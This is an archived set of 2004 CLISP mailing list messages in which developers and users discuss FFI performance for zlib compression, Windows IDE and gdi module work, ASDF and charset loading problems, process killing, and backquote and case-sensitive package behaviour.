
For example, I once wrote, for Marc Battyani's compress (part of =
CL-PDF):

(ffi:def-lib-call-out zlib-compress-string *zlib*
 ;; DIY: CLISP has (:library ...), not def-lib-call-out
  (:name "compress")
  (:arguments (dest ffi:c-pointer :in)
              (destlen (ffi:c-ptr ffi:ulong) :in-out)
              (source ffi:c-string)
              (sourcelen ffi:ulong))
  (:return-type ffi:int)
  (:language :stdc))

(defun compress-string (source)
  "Compress the string SOURCE. Returns an array of bytes
representing the compressed data."
  (let* ((sourcelen (length source))
         (destlen (+ 12 (ceiling (* sourcelen 1.05)))))
    (ffi:with-c-var (dest `(c-array uint8 ,destlen))
      (multiple-value-bind (status actual)
          (zlib-compress-string (ffi:c-var-address dest) destlen source =
sourcelen)
        (if (zerop status)
            ;;ffi:cast not usable because of different size...
            (ffi:offset dest 0 `(c-array uint8 ,actual))
          (error "zlib error, code ~d" status))))))

Implementation note: the optimization currently sits inside WITH-C-VAR =
and WITH-FOREIGN-OBJECT. This above example using ffi:cast or =
ffi:offset shows that a probably better location might be inside =
ffi:parse-c-type itself, so FFI:OFFSET/CAST `(c-array <type> ,length) =
would benefit as well.
Well, probably next round...
That would make compress-string quite passable w.r.t. performance.

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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2004-09-01 17:16:24 +0200]:
>
> CVS-CLISP now contains an optimization that nearly doubles execution
> speed for the backquote-based c-type declaration form that typically
> appears when dereferencing variable length arrays, e.g.

Great!
Thanks!

> (ffi:def-lib-call-out zlib-compress-string *zlib*
>  ;; DIY: CLISP has (:library ...), not def-lib-call-out
>   (:name "compress")
>   (:arguments (dest ffi:c-pointer :in)
>               (destlen (ffi:c-ptr ffi:ulong) :in-out)
>               (source ffi:c-string)
>               (sourcelen ffi:ulong))
>   (:return-type ffi:int)
>   (:language :stdc))
>
> (defun compress-string (source)
>   "Compress the string SOURCE. Returns an array of bytes
> representing the compressed data."
>   (let* ((sourcelen (length source))
>          (destlen (+ 12 (ceiling (* sourcelen 1.05)))))
>     (ffi:with-c-var (dest `(c-array uint8 ,destlen))
>       (multiple-value-bind (status actual)
>           (zlib-compress-string (ffi:c-var-address dest) destlen source sourcelen)
>         (if (zerop status)
>             ;;ffi:cast not usable because of different size...
>             (ffi:offset dest 0 `(c-array uint8 ,actual))
>           (error "zlib error, code ~d" status))))))

this is, unfortunately, asymmetric: you are compressing a string into a
byte vector.

it would also be nice if COMPRESS accepted an optional argument - where
to write the compressed data, instead of allocating a new vector each
time (a la READ-SEQUENCE)

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Hi,

Sam wrote:
>it would also be nice if COMPRESS accepted an optional argument - where
>to write the compressed data, instead of allocating a new vector each
>time (a la READ-SEQUENCE)
What you are asking for is to import a variation of MEM-READ/WRITE-VECTOR from the defunct AFFI into the FFI. It's the only thing that allows to write into existing Lisp vectors. The FFI does not.

Which seems to prove that there's a need for them. My own feeling right yesterday was that efficient `(c-array ...) handling together with FFI:CAST/OFFSET would make adding these functions superfluous. Looks wrong.


>this is, unfortunately, asymmetric: you are compressing a string into a
>byte vector.
Actually, I did not care about how it is when I wrote that in 2002. I wrote the function needed for Marc's cl-pdf-0.45 to write compressed .pdf files with CLISP. The API is not mine, it's Marc's.

IIRC, Marc did not integrate my code when I told him that dynamic loading had not been integrated into CLISP yet (it was only available as my dynload patch back then).

So it would be nice if somebody stood up and looked after cl-pdf w.r.t. CLISP (IIRC, Marc switched to UFFI...). But maybe submission should wait until you settle on the def-call-out :library declaration issue and finding-a-module concept.

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Hi,

I've written an IDE environment for Windows based on free CLisp 
compiler. 
It's free, it's got help (based on Common Lisp: The Language by 
Guy L. Steele Jr.), tooltip help, console available and syntax 
coloring.

More on: 
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> It's free, it's got help (based on Common Lisp: The Language by=20
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Since clisp implements ANSI CL, it would be better to base documentation =
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Krzysztof W$,1 b(Bodarczyk writes:
> I've written an IDE environment for Windows based on free CLisp 
> compiler. 
> It's free, it's got help (based on Common Lisp: The Language by 
> Guy L. Steele Jr.), tooltip help, console available and syntax 
> coloring.
> 
> More on: 
> http://ciapek.uci.agh.edu.pl/~kwlodarc/VisualCLisp/en.htm

Congratualations!  Very nice job! 


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Hi,

Sam Steingold asked:
>well, whatever the means, I want ZLIB:COMPRESS and ZLIB:UNCOMPRESS in
>the new ZLIB module to be as efficient as possible.

Well, that means writing a module instead of using the FFI.
With the FFI, there will always the overhead of parsing the internal c-type description of the foreign function.

In particular, if you want compress/uncompress as part of a "core" CLISP and possibly take advantage of them in other parts of core CLISP (e.g. transparent compressed streams), then the FFI is *not* the way to go.

Only modules are portable and without any headaches, to absolutely all platforms that CLISP runs on.


>if they were written in C using modprep.lisp they would not 
>cons at all.
>is it possible to make them non-consing while still using FFI?
a) I forgot whether invocation of a foreign function may cons in some situations or if everything is always stack-allocated.
b) with-foreign-object/with-c-var create a closure, i.e. "cons", generally speaking.
c) with the FFI, either using allocate-shadow or stack-allocating, at least one FOREIGN-VARIABLE object must be created, that's also sort of consing.

BTW, for a general [un]compress, maybe stack-allocation must be switched to malloc when the buffer is large (dynamically dispatching on the size)?

d) Even with a module, what would you do with the in and out buffers, do they count as consing? Would you always stack-allocate? Would you use a fill-pointer to resize the output buffer to the actual size (trading array-copying time with wasted buffer space)?

>> finding-a-module concept.
>huh?
o what does a def-call-out declaration look like now w.r.t. to OS-dependent library names?
  (or #+WIN32 "zlib.dll"
      #+cygwin"cygz.dll"
      #+UNIX  "libz.so"
      #+AMIGA "zlib.library")
o what prerequisites does it have (e.g. hypothetical def-module)
o what happens to function objects across savemem/restart CLISP?
o what happens at startup when a shared library is not found?

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	Jorg Hohle


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Hi,

I like the look and feel. Performance seems very nice.

My favourite IDE for CLisp is Jabberwocky =
(http://jabberwocky.sourceforge.net/). It is a Java program.

I think your program should have some addition to be really helpful. =
First of all, I think there should be a key which evaluates the form =
under the cursor. So you can type a function, press lets say F8 and your =
(defun ...) gets evaluated. This makes developing very fast. One should =
in my opinion also be able to directly type within the console window. =
The next thing about Jabberwocky I like is: it presents a treeview =
showing your functions, structures, classes etc.

These are some suggestions, because I'd like to have a better performing =
program than Jabberwocky but I want to have the Jabberwocky tools.

Thanks for your efforts.


Andreas



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Hi,

as far as I understand the spec, NIL should be allowed in macro lambda
lists as an empty destructuring pattern:

: david@gargravarr:~; clisp -ansi
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2000
Copyright (c) Sam Steingold, Bruno Haible 2001-2004

;; Loading file /home/david/.clisprc.lisp ...
;; Loaded file /home/david/.clisprc.lisp
[1]> (compile (defmacro with-test (())))

ERROR in WITH-TEST :
Constant NIL cannot be bound.
NIL ;
1 ;
1


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> * David Lichteblau <qnivq@xabjyrqtrgbbyf.qr> [2004-09-03 14:47:10 +0200]:
>
> as far as I understand the spec, NIL should be allowed in macro lambda
> lists as an empty destructuring pattern:
> [1]> (compile (defmacro with-test (())))
>
> ERROR in WITH-TEST :
> Constant NIL cannot be bound.
> NIL ;
> 1 ;
> 1

<http://article.gmane.org/gmane.lisp.clisp.devel/11014>

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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2004-09-03 10:32:25 +0200]:
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> Sam Steingold asked:
>>well, whatever the means, I want ZLIB:COMPRESS and ZLIB:UNCOMPRESS in
>>the new ZLIB module to be as efficient as possible.
>
> Well, that means writing a module instead of using the FFI.
> With the FFI, there will always the overhead of parsing the internal
> c-type description of the foreign function.

I thought other lisps could compile foreign calls to something non-consing.

> In particular, if you want compress/uncompress as part of a "core"
> CLISP and possibly take advantage of them in other parts of core CLISP
> (e.g. transparent compressed streams), then the FFI is *not* the way
> to go.

of course.
making i/o pluggable (e.g., letting OPEN handle compressed streams and
SSL sockets) would take a rewrite of stream.d anyway.

>>if they were written in C using modprep.lisp they would not 
>>cons at all.
>>is it possible to make them non-consing while still using FFI?
>
> d) Even with a module, what would you do with the in and out buffers,
> do they count as consing? Would you always stack-allocate? Would you

both COMPRESS and UNCOMPRESS should take both input and output buffers
from the outside.

> use a fill-pointer to resize the output buffer to the actual size
> (trading array-copying time with wasted buffer space)?

yes.

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Hi,

>> With the FFI, there will always the overhead [...]
>I thought other lisps could compile foreign calls to something 
>non-consing.
I meant the CLISP FFI. Other Lisps I know of compile to native code, so all C-level type declarations go away. In CLISP, these declarations are interpreted at run-time. BTW, even with other Lisps, there can still be consing, e.g. when converting a 32-bit int to a bignum.


>both COMPRESS and UNCOMPRESS should take both input and output buffers
>from the outside.
That sounds to me very much like "thinking in C".
Given a generational GC, are you sure there's a performance benefit?

You know, I mean some guy have been saying for years "with gen.GC, old techniques like resource pooling lead to worse performance because it prevents objects from stying in the youngest generation."
People have said that, but do we have figures for CLISP?

I would really like to know. Traditionally, reusing vectors etc. in Lisp seemed to me to provide better performance. E.g. My logfile parsing application uses a single vector and READ-SEQUENCE to parse giant logfiles.

Maybe the reason in CLISP is that it always fills the vector it creates with 0 or NIL values. So using new objects causes 2 writes, which reuse avoids.

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	Jorg Hohle


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Sam Steingold <sds@gnu.org> writes:
>> [1]> (compile (defmacro with-test (())))
> <http://article.gmane.org/gmane.lisp.clisp.devel/11014>

OK...  The thread doesn't mention a simple workaround, but
  (defmacro with-test ((&optional)))
works and is correct, right?


Thanks,
David


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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2004-09-03 16:10:37 +0200]:
>
>>both COMPRESS and UNCOMPRESS should take both input and output buffers
>>from the outside.

optionally, of course

> That sounds to me very much like "thinking in C".
> Given a generational GC, are you sure there's a performance benefit?

there are situations when you must ensure that your code does not cons
at all. such situations are rare, but they do occur, and then you are stuck.

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I'm new to common lisp an have been trying to create my own stream object 
with no success.  I've searched and read all that I could find on CL streams 
and CLOS but I'm still stuck.  I've tried the following:

(defclass my-stream (stream)
      ())

Which returns the error
*** - (DEFCLASS MY-STREAM): superclass #<BUILT-IN-CLASS STREAM> should be of 
class STANDARD-CLASS


Am I extending the wrong class?  Can one create their own stream?

I'm not sure what I'm doing wrong.  Any code snippets, explanations, 
pointers to documentation would be appreaciated.

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> * Evan Farrer <rinafgbathr@ubgznvy.pbz> [2004-09-08 19:31:58 +0000]:
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> I'm new to common lisp an have been trying to create my own stream
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Hi,

is there anybody successfully using ASDF with CLISP on Win32-native?

I typically get infinite loops like the following, whereas on Linux the system behaves well.
I'm using asdf-1.86.1.lisp and today's CVS-clisp.

[118]> (asdf:oos 'asdf:load-op "clsql-odbc")
; loading system definition from S:\Code\Lisp\clsql-3.0.3\clsql-odbc.asd into #<PACKAGE
;   ASDF14784>
;; Loading file S:\Code\Lisp\clsql-3.0.3\clsql-odbc.asd ...
; registering #<SYSTEM CLSQL-ODBC #x1A61A75D> as CLSQL-ODBC
; loading system definition from S:\Code\Lisp\clsql-3.0.3\clsql-odbc.asd into #<PACKAGE
;   ASDF14785>
;;  Loading file S:\Code\Lisp\clsql-3.0.3\clsql-odbc.asd ...
; loading system definition from S:\Code\Lisp\clsql-3.0.3\clsql-odbc.asd into #<PACKAGE
;   ASDF14786>
;;   Loading file S:\Code\Lisp\clsql-3.0.3\clsql-odbc.asd ...
; loading system definition from S:\Code\Lisp\clsql-3.0.3\clsql-odbc.asd into #<PACKAGE
;   ASDF14787>
;;    Loading file S:\Code\Lisp\clsql-3.0.3\clsql-odbc.asd ...
; loading system definition from S:\Code\Lisp\clsql-3.0.3\clsql-odbc.asd into #<PACKAGE
;   ASDF14788>
;;     Loading file S:\Code\Lisp\clsql-3.0.3\clsql-odbc.asd ...
; loading system definition from S:\Code\Lisp\clsql-3.0.3\clsql-odbc.asd into #<PACKAGE
;   ASDF14789>
;;      Loading file S:\Code\Lisp\clsql-3.0.3\clsql-odbc.asd ...
; loading system definition from S:\Code\Lisp\clsql-3.0.3\clsql-odbc.asd into #<PACKAGE
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;;       Loading file S:\Code\Lisp\clsql-3.0.3\clsql-odbc.asd ...

Thanks for your help,
	Jorg Hohle.


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Date: Mon Sep 13 10:11:36 2004
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On Mon, 13 Sep 2004 17:31:43 +0200, "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> wrote:

> is there anybody successfully using ASDF with CLISP on Win32-native?

See <http://weitz.de/asdf-install/> and specifically the place where
Alex Mizrahi's notes are mentioned.



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I have a cygwin charset encoding problem at defsystem 3.
Maybe it's an clocc problem.

$ cd /usr/src/lisp/clocc
# from cvs
# clisp from cygwin setup 2.33.1 (2004-05-22)

$ CLOCC_DUMP="clisp" LISPTYPE=clisp make clocc-top
and compiling the latest defsystem-3.x worked fine. dumping the image also.

but loading defsystem-3.x fails. from source and from the fas.
which charset to use? ascii, utf-8 and utf-16 fail.

$ clisp -L ENGLISH -ansi -E utf-8 -q
WARNING: *FOREIGN-ENCODING*: reset to ASCII
;; Loading file /cygdrive/h/.clisprc ...
;;  Loading file /usr/src/lisp/clocc/clocc.fas ...
;;  Loaded file /usr/src/lisp/clocc/clocc.fas
;;  Loading file /usr/src/lisp/clocc/src/cllib/base.fas ...
;;   Loading file /usr/src/lisp/clocc/src/port/ext.fas ...
;;   Loaded file /usr/src/lisp/clocc/src/port/ext.fas
;;   Loading file /usr/src/lisp/clocc/src/port/sys.fas ...
;;    Loading file /usr/src/lisp/clocc/src/port/path.fas ...
;;    Loaded file /usr/src/lisp/clocc/src/port/path.fas
;;   Loaded file /usr/src/lisp/clocc/src/port/sys.fas
;;  Loaded file /usr/src/lisp/clocc/src/cllib/base.fas
;;  Loading file /usr/src/lisp/clocc/src/defsystem-3.x/defsystem.fas ...
*** - invalid byte #xFC in CHARSET:UTF-8 conversion, not a Unicode-16

$ clisp -L ENGLISH -ansi -q
;; Loading file /cygdrive/h/.clisprc ...
;;  Loading file /usr/src/lisp/clocc/clocc.fas ...
;;  Loaded file /usr/src/lisp/clocc/clocc.fas
;;  Loading file /usr/src/lisp/clocc/src/cllib/base.fas ...
;;   Loading file /usr/src/lisp/clocc/src/port/ext.fas ...
;;   Loaded file /usr/src/lisp/clocc/src/port/ext.fas
;;   Loading file /usr/src/lisp/clocc/src/port/sys.fas ...
;;    Loading file /usr/src/lisp/clocc/src/port/path.fas ...
;;    Loaded file /usr/src/lisp/clocc/src/port/path.fas
;;   Loaded file /usr/src/lisp/clocc/src/port/sys.fas
;;  Loaded file /usr/src/lisp/clocc/src/cllib/base.fas
;;  Loading file /usr/src/lisp/clocc/src/defsystem-3.x/defsystem.fas ...
*** - invalid byte #xFC in CHARSET:ASCII conversion

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Reini Urban wrote:
> ;;  Loading file /usr/src/lisp/clocc/src/defsystem-3.x/defsystem.fas ...
> *** - invalid byte #xFC in CHARSET:UTF-8 conversion, not a Unicode-16

defsystem.fas is unlikely to be the culprit, since defsystem.lisp is pure
ASCII.

I often got this error when attempting to use clisp in French in a pure
ASCII environment (no valid setting for LANG).

Do you have the CLISP_LANGUAGE environment variable set? Also, what are
the values of your LC_ALL, LC_CTYPE, LC_MESSAGES, LANG environment variables?

Bruno



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Reini Urban schrieb:
> I have a cygwin charset encoding problem at defsystem 3.
> Maybe it's an clocc problem.

I fixed the problem.
~/lisp (i.e. "H:\lisp") was pointing to my autolisp tree,
which had somewhere deep below a subdirectory named "#".

I renamed ~/lisp to ~/alisp and it works fine now.

> *** - invalid byte #xFC in CHARSET:UTF-8 conversion, not a Unicode-16
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> * Reini Urban <eheona@k-enl.ng> [2004-09-14 15:52:55 +0200]:
>
> Reini Urban schrieb:
>> I have a cygwin charset encoding problem at defsystem 3.
>> Maybe it's an clocc problem.
>
> I fixed the problem.
> ~/lisp (i.e. "H:\lisp") was pointing to my autolisp tree,
> which had somewhere deep below a subdirectory named "#".
>
> I renamed ~/lisp to ~/alisp and it works fine now.

So this is an artifact of the *load-path* problem Joerg complained
about...

I will add a note to the FAQ.

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Date: Thu Sep 16 02:49:16 2004
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Hallo

Running Aurox 9.4 (red-hat clone) with amd-550-cpu on a gigabyte-board
with ali-chipset and 128mb ram. Some scsi hds to keep things easy.

Found on suse 8.2 dvd a clisp-2.30-36.i586.rpm and installed it.

It say: libcrypto.so.0.9.6 and libssl.so.o.0.6 is needed. (else NOKEY,
KeyID 9c800aca, when important).
But it installs without this and runs by typing clisp in the
console-windows from kde 3.2. (As I also tested other linux-systems with
cl, all want some extra software files in order to run correct, (suse
7.3 with cl2.28 over 100 - record) only rpms that comes with the
distribution will not do so)

Now. 
Searching for clisp components in a linux os shows, the installed files
are mixed (will not say wildly) among the systems usualy install paths.
Docs, executable, .rc initfile, newclx, impnotes and at least a gz
hyperspec (seperat), (.. scripts, other modules and what else a user may
create) all stored in different paths.

Doing the same with win98, (download the 2.30.zip from sourceforge in
May04) the install needs a dll-file (wldap32.dll?) and a start.bat
(which creates a start.pif) and it works (even without cygwin and co.). 
 The point is, I can place all in one folder, where I want. (by default,
also I do that with gcl.rpm (2.6 newest), and no, I never compile
anything, this is too horrible and time-invest is not so profitable for
me)
 Look arround in the Linux distris and see, how it is handeled
different. See forward and note, more versions will come up. And this
leads me to type this mail. 
(of course I say it 3 times stronger, to make my point clear)

     Clisp is a seperat software, it is not part of the linux world - 

but linux can be part of the cl-world. You can see, on a linux os clisp
runs out of order and is easyly mixed nearly everywhere. This is not,
what I mean is good for clisp. You may think about this and hopfuly do
something ... (sure, there are links and pipes and gagaga)

My wish is to keep cl-parts together as stand-alone software. This is
not only win and linux, there are coming up 64-bit versions, rumors
about lisp-os going on, amiga-version in the past, some apple portables,
interactions with other soft-packages and what ever the future will make
or a user will do.



When I type here, there is an other sensible part I want to point out.

Look in the history files of new cl-versions. Present for me is back to
1999, (2.24). Every update I saw the sentence: 
"... need to compile old fas files for the new version..."
 Come on, is that realy neccesarry? Please write a small routine in the
next update that informs the user that he/she is loading an older
version fas file and spend a 'recompile (yes-no)' to it. (sounds
easy...)

stefan

repeat reading readmes till next update is comming :)



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Dan has become quite silent in gdi, another job, I know.
But wouldn't it be useful to add it into the list of supported modules?
Dan has some paragraph about this in his latest distro.

esp. for the binary builds it would be very convenient to have it 
included. When I think of clx and other stone-aged modules there ...

sooner or later jörg's dynamic ffi (new uffi.lisp pending) can be used 
to call the winapi, but having them in stone is much more convenient.
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Reini,

BTW, is somebody using :language :stdc-stdcall on MS-Windows??
I see it in every definition in CormanLisp examples, but I don't have =
it seen yet in CLISP code written by users or developers.

As far as including Dan's gdi into the core distribution, that's fine =
with me :-)

>sooner or later j=F6rg's dynamic ffi (new uffi.lisp pending) can be =
used=20
>to call the winapi, but having them in stone is much more convenient.
dynamic FFI and UFFI are different things.
The dynamic FFI (if you mean shared libraries) is there in CVS (and =
maybe also the last release?). You can use def-call-out (:library =
"fooname/path").

Sam has started adding modules/bindings/win32.lisp which contains some =
functions of kernel32.dll or whatever he feels the need to add. It's in =
CVS (quite small right now).
You may wish to contribute to that.

I wouldn't count on UFFI to call the winapi. Why do you? What do you =
expect?
I cannot guarantee that using UFFI won't introduce even more run-time =
overhead (make things slower).

As an example, clsql has lots of
     (let ((info-ptr (allocate-foreign-string 1024)))=20
       (with-foreign-object (info-length-ptr :short)
          ...
	     (SQLGetInfo hdbc info-type info-ptr 1023 info-length-ptr)
	   (let ((info (convert-from-foreign-string info-ptr)))
	     (free-foreign-object info-ptr)
Ever read performance benchmarks all showing how slow malloc() is?

As the function is always called with the same buffer size, it would be =
much more efficient and also convenient in CLISP to write it using :out =
parameters as:
(ffi:def-call-out SQLGetInfo-string (:name "SQLGetInfo")
  (:library "odbc32.dll") (:language :stdc-stdcall)
  (:arguments
   (hdbc ffi:c-pointer)
   (finfotype ffi:sint16)
   (rgbinfovalue (c-ptr (c-array-max character 1024)) :out)
   (cbinfovaluemax ffi:sint16)		;pass 1023
   (*pcbinfovalue (c-ptr sint16) :out))
 (:return-type ffi:sint16))

call (SQLGetInfo hdbc info-type 1023)
and extract string (using nth-value)

(ffi:def-call-out SQLGetInfo-short (:name "SQLGetInfo")
  (:library "odbc32.dll") (:language :stdc-stdcall)
  (:arguments
   (hdbc ffi:c-pointer)
   (finfotype ffi:sint16)
   (rgbinfovalue (c-ptr sint16) :out)
   (cbinfovaluemax ffi:sint16)		;pass (sizeof 'sint16)
   (*pcbinfovalue (c-ptr sint16) :out))
 (:return-type ffi:sint16))
call (SQLGetInfo hdbc info-type (ffi:sizeof 'sint16))
and extract short value (using nth-value again)

(def-call-cout SQLGetInfo-long ...)
;same exercise, use (load-time-value (ffi:sizeof '#.$ODBC-LONG-TYPE))
or just #.(ffi:sizeof '$ODBC-LONG-TYPE)

[Actually, load-time-value is much, much better than #.(sizeof #), =
because it may allow you to use the same .fas files across different =
machines if you're careful -- (sizeof 'int) depends on the run-time =
CLISP, not the compilation environment. And load-time-value is =
efficient as well.]

UFFI must go through either foreign-allocate or with-foreign-object, =
and both mean overhead. How much depends on the application.
When I have time, I'd like to compare pgsql.lisp with clsql-postgresql =
and clsql-postgresql-socket speed wise in CLISP.
It's likely to yield different speed ratios than native-code compilers.

Regards,
	J=F6rg H=F6hle


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Hoehle, Joerg-Cyril schrieb:
> BTW, is somebody using :language :stdc-stdcall on MS-Windows??
> I see it in every definition in CormanLisp examples, but I don't have 
 > it seen yet in CLISP code written by users or developers.

because it's in only used in the WinAPI.
   don't know of any useful pascal dll's :)

And the WinAPI coverage is quite ok with the static gdi and win32 bindings.

> As far as including Dan's gdi into the core distribution, that's fine with me :-)

good!

>>sooner or later jörg's dynamic ffi (new uffi.lisp pending) can be used 
>>to call the winapi, but having them in stone is much more convenient.
> 
>dynamic FFI and UFFI are different things.
>The dynamic FFI (if you mean shared libraries) is there in CVS (and maybe also 
 >the last release?). You can use def-call-out (:library "fooname/path").

> Sam has started adding modules/bindings/win32.lisp which contains
> some  functions of kernel32.dll or whatever he feels the need to add. It's in
> CVS (quite small right now).
> You may wish to contribute to that.

Not enough time, sorry.
I wanted to try out garnet for some demo also.

> I wouldn't count on UFFI to call the winapi. Why do you? What do you expect?
> I cannot guarantee that using UFFI won't introduce even more run-time overhead (make things slower).

Slowness is not the problem. To make it fast just link it.

> As an example, clsql has lots of
>      (let ((info-ptr (allocate-foreign-string 1024))) 
>        (with-foreign-object (info-length-ptr :short)
>           ...
> 	     (SQLGetInfo hdbc info-type info-ptr 1023 info-length-ptr)
> 	   (let ((info (convert-from-foreign-string info-ptr)))
> 	     (free-foreign-object info-ptr)
> Ever read performance benchmarks all showing how slow malloc() is?

I don't care that much about temp. malloc'ed heap space, compared to the 
native advantages. it should just work. :) local optimizations later.
of course :out is much better.

but thanks for the nice examples!

>As the function is always called with the same buffer size, it 
 >would be much more efficient and also convenient in CLISP to write
 >it using :out parameters as:
> (ffi:def-call-out SQLGetInfo-string (:name "SQLGetInfo")
>   (:library "odbc32.dll") (:language :stdc-stdcall)
>   (:arguments
>    (hdbc ffi:c-pointer)
>    (finfotype ffi:sint16)
>    (rgbinfovalue (c-ptr (c-array-max character 1024)) :out)
>    (cbinfovaluemax ffi:sint16)		;pass 1023
>    (*pcbinfovalue (c-ptr sint16) :out))
>  (:return-type ffi:sint16))
> 
> call (SQLGetInfo hdbc info-type 1023)
> and extract string (using nth-value)
> 
> (ffi:def-call-out SQLGetInfo-short (:name "SQLGetInfo")
>   (:library "odbc32.dll") (:language :stdc-stdcall)
>   (:arguments
>    (hdbc ffi:c-pointer)
>    (finfotype ffi:sint16)
>    (rgbinfovalue (c-ptr sint16) :out)
>    (cbinfovaluemax ffi:sint16)		;pass (sizeof 'sint16)
>    (*pcbinfovalue (c-ptr sint16) :out))
>  (:return-type ffi:sint16))
> call (SQLGetInfo hdbc info-type (ffi:sizeof 'sint16))
> and extract short value (using nth-value again)
> 
> (def-call-cout SQLGetInfo-long ...)
> ;same exercise, use (load-time-value (ffi:sizeof '#.$ODBC-LONG-TYPE))
> or just #.(ffi:sizeof '$ODBC-LONG-TYPE)
> 
>[Actually, load-time-value is much, much better than #.(sizeof #),
>because it may allow you to use the same .fas files across different
>machines if you're careful -- (sizeof 'int) depends on the run-time
>CLISP, not the compilation environment. And load-time-value is efficient
>as well.]

> UFFI must go through either foreign-allocate or with-foreign-object, and both mean overhead. How much depends on the application.

well, you could pre-allocate the foreign buffers advance.
the real problem is, if the foreign objects persist when loading a image.
that's why we have the static bindings to postgresql :)
we don't have to care.

> When I have time, I'd like to compare pgsql.lisp with clsql-postgresql and clsql-postgresql-socket speed wise in CLISP.
> It's likely to yield different speed ratios than native-code compilers.

that's fine. I haven't considered ken's uffi2 motivations and problems yet.

-- 
Reini Urban
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I am sorry that I have been unable to do any work on the gdi module,
but with a new job and moving 3 times in the last year and a half,
and buying a house, I haven't had much time for anything.
The last work I did on gdi was to try to use clisp.h instead of lispbibl.d,

and to fix some errors.  The last time I tried to build it, it did
not compile, as clisp.h had some missing definitions.
I would be happy to give this work to someone else, who
has the time to work on it.
Dan Stanger



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I see that run-program with wait nil returns up to three streams, 
but no process id that could be used to kill it.
Is there a recommended procedure?


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I need the unquote-splice facility in the km reasoner. 
http://www.cs.utexas.edu/users/mfkb/km.html

I've looked at http://users.footprints.net/~kaz/clisp-backquote-patch.html,
which describes the patch, which changed the clisp behaviour.

Sorry, but I forgot almost all of my macro knowledge.
How to do call unquote-splice and friends in clisp now as macro/function?

This is the KM assoc list, which will be applied on the various symbols:

(defconstant *special-symbol-alist*
   '( (quote "'")
      (function "#'")
      (unquote "#,")
      (#-clisp unquote-splice #+clisp unquote-splice "#@")
      (#+allegro excl::backquote #-allegro backquote "`")
      (#+allegro excl::bq-comma #-allegro bq-comma ",")			; I'm not sure 
of the non-Allegro implementation
      (#+allegro excl::bq-comma-atsign #-allegro bq-comma-atsign ",@") ))

The system package is locked, so I have no access. (Do I?)
Are my clisp workarounds correct?

#+clisp
(defmacro unquote-splice (form)
    `(,@ form))
#+clisp
(defmacro bq-comma (form)
    `(,form))
#+clisp
(defmacro bq-comma-atsign (form)
    `(,@ form))

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> * Don Cohen <qba-grfg-204@vfvf.pf3-vap.pbz> [2004-09-20 09:22:12 -0700]:
>
> I see that run-program with wait nil returns up to three streams, 
> but no process id that could be used to kill it.
> Is there a recommended procedure?

closing all streams usually does it.

the new interface by Arseny, LAUNCH, returns the PID as the first value.
(I wonder if it is now sufficiently complete to replace SHELL &c.)

There is no KILL function, but you can do
(run-shell-command (format nil "kill -9 ~A" pid))

I think Arseny planned to implement EXT:KILL (a straightforward
interface to
http://www.opengroup.org/onlinepubs/009695399/functions/kill.html and
http://msdn.microsoft.com/library/en-us/dllproc/base/terminateprocess.asp
-- unfortunately, they are somewhat incompatible...)

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> * Reini Urban <eheona@k-enl.ng> [2004-09-20 18:47:51 +0200]:
>
> I need the unquote-splice facility in the km
> reasoner. http://www.cs.utexas.edu/users/mfkb/km.html

I have no idea what this is about. Sorry.

> I've looked at http://users.footprints.net/~kaz/clisp-backquote-patch.html,
> which describes the patch, which changed the clisp behaviour.

Bruno modified these things quite a bit, you should read the CVS sources
in src/backquote.lisp

Bruno, do you think backquote & friends should be exported?

> The system package is locked, so I have no access. (Do I?)

<http://clisp.cons.org/impnotes/pack-lock.html#without-pack-lock>
<http://clisp.cons.org/impnotes.html#without-pack-lock>

> #+clisp
> (defmacro unquote-splice (form)
>     `(,@ form))
> #+clisp
> (defmacro bq-comma-atsign (form)
>     `(,@ form))

these are equivalent to
      (copy-list form)

> #+clisp
> (defmacro bq-comma (form)
>     `(,form))

this is equivalent to
     (list form)

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Sam Steingold schrieb:
>>#+clisp
>>(defmacro unquote-splice (form)
>>    `(,@ form))
>>#+clisp
>>(defmacro bq-comma-atsign (form)
>>    `(,@ form))
> these are equivalent to
>       (copy-list form)
  >>#+clisp
>>(defmacro bq-comma (form)
>>    `(,form))
> this is equivalent to
>      (list form)

thanks, this works.

More problems:
Thanks for gdi :)
1) But clisp CVS doesn't build anymore as before:

rm -rf build-cyg; configure --with-module=syscalls --with-module=regexp 
--with-module=berkeley-db --with-module=gdi --with-zlib 
--with-module=wildcard --with-module=postgresql --with-module=prce 
--with-module=bindings/win32 --with-module=rawsock --with-module=dirkey

=>
executing /usr/src/lisp/clisp/clisp/src/avcall/configure 
--srcdir=../../ffcall/avcall --with-module=
syscalls --with-module=regexp --with-module=berkeley-db 
--with-module=gdi --with-zlib --with-module=
wildcard --with-module=postgresql --with-module=prce 
--with-module=bindings/win32 --with-module=raws
ock --with-module=dirkey --cache-file=../config.cache
configure: error: invalid package name: module


2) introducing a new case-sensitive package, causes all other existing 
packages also to become case-sensitive. In my understanding of the docs, 
only the specified package's read-table should be case-sensitive, not all.
See http://clisp.cons.org/impnotes/pack-dict.html#make-pack
This is confusing.

CL-USER> (make-package :km :case-sensistive t)
CL-USER> (in-package :km)
=>
EVAL: undefined function in-package

CL-USER> (IN-PACKAGE :km)
;ah! this works
KM> (defconstant *km-package* *package*)
=>
EVAL: undefined function defconstant
KM> (SETF (READTABLE-CASE *READTABLE*) :PRESERVE)
:PRESERVE

Should I re-import all CL symbols?
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On Mon, 20 Sep 2004, Reini Urban wrote:

> I need the unquote-splice facility in the km reasoner. 
> http://www.cs.utexas.edu/users/mfkb/km.html
> 
> I've looked at http://users.footprints.net/~kaz/clisp-backquote-patch.html,
> which describes the patch, which changed the clisp behaviour.
> 
> Sorry, but I forgot almost all of my macro knowledge.
